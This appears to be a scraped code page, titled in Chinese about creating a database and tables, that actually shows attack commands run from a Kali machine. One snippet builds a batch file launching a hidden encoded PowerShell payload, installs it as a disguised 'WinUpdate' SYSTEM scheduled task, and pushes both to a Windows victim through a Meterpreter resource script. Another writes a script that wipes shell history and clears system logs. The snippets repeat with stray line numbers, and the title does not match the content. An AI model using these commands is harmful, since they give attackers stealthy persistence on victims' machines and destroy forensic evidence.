创建数据库 + 建表 + 插入数据

sudo bash -c 'cd /root/attack
B64=$(grep -oE "[A-Za-z0-9+/=]{200,}" p_cmd.txt | head -1)
printf "@echo off\r\nping -n 12 127.0.0.1 >nul\r\npowershell.exe -nop -w hidden -enc %s\r\n" "$B64" > run.bat
printf "@echo off\r\nschtasks /delete /tn WinUpdate /f >nul 2>&1\r\nschtasks /create /tn WinUpdate /tr \"cmd /c C:\\ProgramData\\run.bat\"/sc onstart /ru SYSTEM /rl HIGHEST /f\r\n" > install.bat
cat > persist.rc <<"RCEOF"
upload /root/attack/run.bat C:\\ProgramData\\run.bat
upload /root/attack/install.bat C:\\ProgramData\\install.bat
execute -f cmd.exe -a "/c C:\\ProgramData\\install.bat" -H
RCEOF
echo "=== files ==="; ls -l run.bat install.bat persist.rc; echo "=== run.bat 开头 ==="; head -c 90 run.bat; echo'

1

2

3

4

5

6

7

8

9

10

sudo bash -c 'cd /root/attack

B64=$(grep -oE"[A-Za-z0-9+/=]{200,}"p_cmd.txt | head -1)

printf"@echo off\r\nping -n 12 127.0.0.1 >nul\r\npowershell.exe -nop -w hidden -enc %s\r\n""$B64" > run.bat

printf "@echo off\r\nschtasks /delete /tn WinUpdate /f >nul 2>&1\r\nschtasks /create /tn WinUpdate /tr \"cmd /c C:\\ProgramData\\run.bat\"/sc onstart /ru SYSTEM /rl HIGHEST /f\r\n" > install.bat

cat > persist.rc <<"RCEOF"

upload /root/attack/run.bat C:\\ProgramData\\run.bat

upload /root/attack/install.bat C:\\ProgramData\\install.bat

execute -f cmd.exe -a "/c C:\\ProgramData\\install.bat" -H

RCEOF

echo "=== files ==="; ls -l run.bat install.bat persist.rc; echo "=== run.bat 开头 ==="; head -c 90 run.bat; echo'

sudo tee /opt/fids/clean.sh >/dev/null <<'EOF'
#!/bin/bash
history -c
cat /dev/null > ~/.bash_history
rm -f ~/.mysql_history
echo kali | sudo -S sh -c 'echo > /var/log/auth.log; echo > /var/log/syslog; echo > /var/log/kern.log'
echo "[+] linux traces cleared"
EOF
sudo chmod +x /opt/fids/clean.sh

1

2

3

4

5

6

7

8

9

sudo tee /opt/fids/clean.sh >/dev/null <<'EOF'

#!/bin/bash

history -c

cat /dev/null > ~/.bash_history

rm -f ~/.mysql_history

echo kali | sudo -S sh -c 'echo > /var/log/auth.log; echo > /var/log/syslog; echo > /var/log/kern.log'

echo "[+] linux traces cleared"

EOF

sudo chmod +x /opt/fids/clean.sh

setx /M PATH "%PATH%;C:\Program Files (x86)\Nmap"

1	setx /M PATH "%PATH%;C:\Program Files (x86)\Nmap"